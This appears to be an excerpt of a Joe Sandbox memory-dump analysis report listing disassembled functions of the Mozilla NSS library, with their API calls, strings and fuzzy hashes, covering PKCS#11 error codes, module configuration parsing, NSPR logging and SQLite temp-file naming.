CKR_CURVE_NOT_SUPPORTED, xrefs: 6CEB2179
CKR_SIGNATURE_INVALID, xrefs: 6CEB20CF
CKR_DEVICE_ERROR, xrefs: 6CEB229D
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CEB218D
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CEB1F77
CKR_RANDOM_NO_RNG, xrefs: 6CEB22A7
CKR_INFORMATION_SENSITIVE, xrefs: 6CEB22B1
CKR_OK, xrefs: 6CEB1DFC
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CEB232E
CKR_OPERATION_ACTIVE, xrefs: 6CEB22B8
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CEB2015
CKR_PIN_LEN_RANGE, xrefs: 6CEB2061
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CEB20D9
CKR_DEVICE_MEMORY, xrefs: 6CEB1FF3
rv = 0x%x, xrefs: 6CEB2312
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CEB2320
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CEB1FD7
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CEB204D
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CEB2319
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CEB22FF
CKR_FUNCTION_CANCELED, xrefs: 6CEB1E73
CKR_DEVICE_REMOVED, xrefs: 6CEB2261
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CEB1EE1
CKR_NEW_PIN_MODE, xrefs: 6CEB1E9F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CEB1DE0
CKR_PIN_LOCKED, xrefs: 6CEB2075
CKR_FUNCTION_REJECTED, xrefs: 6CEB2289
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CEB2293, 6CEB233F
CKR_BUFFER_TOO_SMALL, xrefs: 6CEB2183

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: ab3709e5bf0d57bb5e43a59fbd38a10f49d743ba963ef8dc11d2c32915f2a6f8
Instruction ID: 538d737369fbddcb149f1368c6f9e3de13422afd3d3233e26cccfaa4ae3f8c54
Opcode Fuzzy Hash: ab3709e5bf0d57bb5e43a59fbd38a10f49d743ba963ef8dc11d2c32915f2a6f8
Instruction Fuzzy Hash: AC61D720B4D047C6EA1C448C83AA37E2130AF67718F74C57BE591BFF91C6B9CA865693

Function 6CEE5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEE5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEE5E5C
free.MOZGLUE(00000000), ref: 6CEE5E7E
free.MOZGLUE(00000000), ref: 6CEE5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEE5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEE5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEE5EF0
free.MOZGLUE(00000000), ref: 6CEE5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEE5F5B
free.MOZGLUE(00000000), ref: 6CEE5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEE5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEE5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEE5FC4
free.MOZGLUE(00000000), ref: 6CEE5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE5FE9
free.MOZGLUE(00000000), ref: 6CEE5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEE605A
PR_smprintf.NSS3(6CFBAAF9,00000000), ref: 6CEE606A
free.MOZGLUE(00000000), ref: 6CEE607C
free.MOZGLUE(00000000), ref: 6CEE609A
free.MOZGLUE(00000000), ref: 6CEE60B2
free.MOZGLUE(?), ref: 6CEE60CE

Strings

%s/%s, xrefs: 6CEE6055
secmod=, xrefs: 6CEE5FB1
secmod.db, xrefs: 6CEE5EA0
noModDB, xrefs: 6CEE5EEA
pkcs11.txt, xrefs: 6CEE5F47, 6CEE5F7C, 6CEE603A, 6CEE6053
flags, xrefs: 6CEE5E3A, 6CEE5EC6, 6CEE5F30
forceSecmodChoice, xrefs: 6CEE5F55
readOnly, xrefs: 6CEE5E56
configDir=, xrefs: 6CEE5F9D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 19409fe398660bfb9c90b820e4b9cefd98eb0831e29d8fd083215314ea13cefb
Instruction ID: 42cd8103600c0644db71934654d2cb2b07ece90f90144d6ce0d47e91cb6aa854
Opcode Fuzzy Hash: 19409fe398660bfb9c90b820e4b9cefd98eb0831e29d8fd083215314ea13cefb
Instruction Fuzzy Hash: 2791E4F4A052155BEB119B359C81BAA3BB89F0E3CCF280065ED55DBB42EB31D905C7A2

Function 6CE71D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE71DA3

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE71DB2

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE71DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE71E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE71EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE71ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE71EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE71F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE71F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE71F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE71F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE71F83
PR_SetLogFile.NSS3(00000000), ref: 6CE71FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE71FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE71FCB
free.MOZGLUE(00000000), ref: 6CE71FD2

Strings

sync, xrefs: 6CE71E46
bufsize, xrefs: 6CE71E9B
Unable to create nspr log file '%s', xrefs: 6CE71FB3
all, xrefs: 6CE71F0E
append, xrefs: 6CE71EE6
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE71E27
NSPR_LOG_FILE, xrefs: 6CE71F69
NSPR_LOG_MODULES, xrefs: 6CE71DAD
timestamp, xrefs: 6CE71EC4
, %n, xrefs: 6CE71E6B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 88b8fdc947a5ab2428e11e63e034f319ebebf65a393610dd658f39915dccb761
Instruction ID: fde09cdd071604ac6306eec0a986f384d3ab9a9ad9136ab734a171d2442d3d70
Opcode Fuzzy Hash: 88b8fdc947a5ab2428e11e63e034f319ebebf65a393610dd658f39915dccb761
Instruction Fuzzy Hash: B35190B1E003099BDF10DBE5DD55B9E77B8AF0530DF280528E919EB605E771E908CB61

Function 6CF56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CE1BE66), ref: 6CF56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CE1BE66), ref: 6CF56E98
sqlite3_snprintf.NSS3(?,00000000,6CFBAAF9,?,?,?,?,?,?,6CE1BE66), ref: 6CF56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CE1BE66), ref: 6CF56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CE1BE66), ref: 6CF56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CE1BE66), ref: 6CF56FA6
sqlite3_snprintf.NSS3(?,00000000,6CFBAAF9,00000000,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF57014
sqlite3_free.NSS3(00000000,?,?,?,?,6CE1BE66), ref: 6CF5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CE1BE66), ref: 6CF57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CE1BE66), ref: 6CF57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF570A0

Strings

winGetTempname2, xrefs: 6CF570C4
winGetTempname5, xrefs: 6CF57071
mz_etilqs_, xrefs: 6CF56F18
winGetTempname1, xrefs: 6CF5708F
winGetTempname4, xrefs: 6CF57046

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: c73d2822e5437f8a83b85bf0a7cd9223a72ee7853462ad2ff26b541a9d81fbaa
Instruction ID: 0a3c647d9bf038842e163df992be9a0881b66431fb4b2d1ebb00ef9a91195e0f
Opcode Fuzzy Hash: c73d2822e5437f8a83b85bf0a7cd9223a72ee7853462ad2ff26b541a9d81fbaa
Instruction Fuzzy Hash: 4A518EB2F1011167E70496309C51FBB36A69FA2318F64453CFA1197BC2FB26992E82D3

Function 6CEE4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000,00000000,00000001), ref: 6CEE5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CEE5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEE5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEE50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2), ref: 6CEE50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEE50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5153
free.MOZGLUE(?), ref: 6CEE516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE5195

Strings

name=, xrefs: 6CEE5057
parameters=, xrefs: 6CEE506B
library=, xrefs: 6CEE5043
config=, xrefs: 6CEE509B
nss=, xrefs: 6CEE5083

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d399da5f0918696276e8f1b60c19ee4ff54bfb80a6a629645f778c680f9e5221
Instruction ID: b0fd658167cedc155f2d2c7295b69c63ab13c9c03aaf406f28a45449ee1d8453
Opcode Fuzzy Hash: d399da5f0918696276e8f1b60c19ee4ff54bfb80a6a629645f778c680f9e5221
Instruction Fuzzy Hash: A05193B5A122165BEB00DF349C41AAB37B89F0A38CF240464EC15E7741EB25E919CBB2

Function 6CEB8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CEB8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8EB3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEB8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CEB8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CEB8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEB8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CEB8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CEB8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CEB8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CEB9047

Strings

C_WrapKey, xrefs: 6CEB8E71
*pulWrappedKeyLen = 0x%x, xrefs: 6CEB9042
pulWrappedKeyLen = 0x%p, xrefs: 6CEB8FC8
hKey = 0x%x, xrefs: 6CEB8F5B, 6CEB8F6B
hWrappingKey = 0x%x, xrefs: 6CEB8F01, 6CEB8F11
pWrappedKey = 0x%p, xrefs: 6CEB8FAD
(CK_INVALID_HANDLE), xrefs: 6CEB8EAC, 6CEB8F1F, 6CEB8F79
pMechanism = 0x%p, xrefs: 6CEB8EE0
hSession = 0x%x, xrefs: 6CEB8E8E, 6CEB8E9E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: afb91b04156a937441a7a5e17ab9eed31735807643be13f99fb1814d41a04173
Instruction ID: 53f6416a78f11a6ff0eff8b57578a4510945bfb5536eb412e5c14bdc4e8bb438
Opcode Fuzzy Hash: afb91b04156a937441a7a5e17ab9eed31735807643be13f99fb1814d41a04173
Instruction Fuzzy Hash: FF510631A0110AFFDB549F40DE48FAE7B72AB4A30CF154429F50877B12EB369919CB91

Function 6CEE4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C5B
PR_smprintf.NSS3(6CFBAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEE4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEE4DA2
free.MOZGLUE(?), ref: 6CEE4DB9
free.MOZGLUE(00000000), ref: 6CEE4DCF

Strings

every, xrefs: 6CEE4CA1
rootFlags, xrefs: 6CEE4D47
ootT, xrefs: 6CEE4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEE4D9D
%s,%s, xrefs: 6CEE4C4B
timeout, xrefs: 6CEE4C91
slotFlags, xrefs: 6CEE4D34
rust, xrefs: 6CEE4D22
0x%08lx=[%s %s], xrefs: 6CEE4D80
any, xrefs: 6CEE4C96

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: ab191f5055bbc0a0521ab9a038805c6843bfa397c609d313ceacd126dcc22bb2
Instruction ID: 98f82909749840b612e170d6d2ddf6a19ed5a9f65ba090190003ade33ae727f3
Opcode Fuzzy Hash: ab191f5055bbc0a0521ab9a038805c6843bfa397c609d313ceacd126dcc22bb2
Instruction Fuzzy Hash: D14190B1D101416BEB129FA59C44ABF3775AF8A38CF29412AEC155BB01EB31E924C7D3

Function 6CEC6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEC6943
Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEC6957
Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEC6972
Part of subcall function 6CEC6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEC6983
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEC69AA
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEC69BE
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEC69D2
Part of subcall function 6CEC6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEC69DF
Part of subcall function 6CEC6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEC6A5B

